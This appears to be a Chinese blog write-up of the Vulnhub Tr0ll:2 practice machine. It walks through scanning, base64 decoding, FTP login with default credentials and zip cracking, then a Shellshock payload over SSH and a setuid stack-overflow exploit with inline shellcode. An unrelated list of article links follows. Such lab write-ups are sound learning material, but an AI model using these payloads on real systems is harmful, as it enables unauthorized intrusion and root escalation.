【Vulnhub】Tr0ll:2
首先扫描端口
扫目录,发现了这些东西,去访问一下
robots.txt 中有很多目录
去访问了一下,在
dont_bother keep_trying noob ok_this_is_it
这四个目录下有图片,下载下来,发现 dont_bother 跟其他图片的 md5 不一样
用 winhex 看,最后有一行 Look Deep within y0ur_self for the answer
去访问一下,得到一个文件
文件中是一些 base64 编码后的东西
写个小脚本转一下
import base64
file = open('./flag.txt','r')
lines = file.readlines()
new=[]
for line in lines:
line=base64.b64decode(line)
new.append(line)
file_out=open('./flag_out.txt','w')
for line1 in new:
file_out.writelines(line1)
file_out.close()
用 ftp 协议去访问一下,使用 Tr0ll:Tr0ll 登录成功
下载下来,用刚才拿到的字典跑一下,瞬间出结果:
ItCantReallyBeThisEasyRightLOL
用 winhex 打开压缩包里的文件,看上去是私钥
尝试去登陆 ssh -i noob noob@192.168.149.192
-i 是指定密钥的,我猜用户名就是 noob
但是提示说权限有问题?
说是我这个密钥权限太高了,那就改的小一点,wsl 改不了 windows 正常目录下的文件权限,拷到 wsl 自己的目录下改权限再试
用这种方式绕过:
ssh -i noob noob@192.168.149.192 '() { :;}; /bin/bash'
再用 python 弄个好看点的
python -c 'import pty; pty.spawn("/bin/bash")'
嗷,涨知识了
在 /nothing_to_see_here/choose_wisely 中每个文件夹有二进制文件,都有 s 的权限
啊我吐了,nc 也不能用,git 也没有
执行第一个给我退出来了
试了一下第二个进入了困难模式??
第三个貌似是栈溢出
cyclic 算出偏移
过了一会文件又没了去了 door2... 被作者玩弄于股掌之间
./r00t $(python -c "print 'A' * 268 + 'x80xfbxffxbf' + 'a' * 16 + 'xbaxa0x7bx18x95xdbxcdxd9x74x24xf4x58x33xc9xb1x0bx31x50x15x83xe8xfcx03x50x11xe2x55x11x13xcdx0cxb4x45x85x03x5ax03xb2x33xb3x60x55xc3xa3xa9xc7xaax5dx3fxe4x7ex4ax37xebx7ex8ax67x89x17xe4x58x3ex8fxf8xf1x93xc6x18x30x93'")
就先拿大佬们的 payload 来打了,突然发现在这种情况先我都不知道咋分析,不知所措
我想把这个靶机的内容给提出来,直接拷到 /var/www 目录下,浏览器访问下载下来
后来在本地做的
from pwn import *
shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode += "x0bxcdx80"
payload=shellcode+'a'*(268-len(shellcode))+'xc0xd3xffxff'
print payload
- 让ZeGraph在X方向上填满
- 中国区块链技术和产业发展论坛举行——区块链应用发展尚需时日
- silverlight获取外部数据的另一种选择:FluorineFx
- 存储状态数据
- Oracle数据库设置为归档模式的操作方法
- flash/flex 与 FluorineFx通讯之Hello World!
- 苹果CEO首次泄露出自动驾驶汽车的相关战略信息
- Linux下绑定网卡的操作记录
- flash开发中如何实现界面代码分离
- flex中使用swc实现更好的界面代码分离
- Redis Cluster集群总结性梳理
- jquery的html,text,val
- Redis Cluster日常操作命令梳理
- MongoDB数据存储-深入了解
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Python正则表达式高级使用方法汇总
- CentOS7.0下安装PHP5.6.30服务的教程详解
- Laravel Validator自定义错误返回提示消息并在前端展示
- 完美解决keras 读取多个hdf5文件进行训练的问题
- keras:model.compile损失函数的用法
- PHP获取当前系统时间的方法小结
- PHP结合jquery ajax实现上传多张图片,并限制图片大小操作示例
- php微信公众号开发之微信企业付款给个人
- PHP中抽象类,接口功能、定义方法示例
- YII分模块加载路由的实现方法
- PHP5.6读写excel表格文件操作示例
- php提取微信账单的有效信息
- PHP微信发送推送消息乱码的解决方法
- php实现微信企业付款到个人零钱功能
- 如何解决安装python3.6.1失败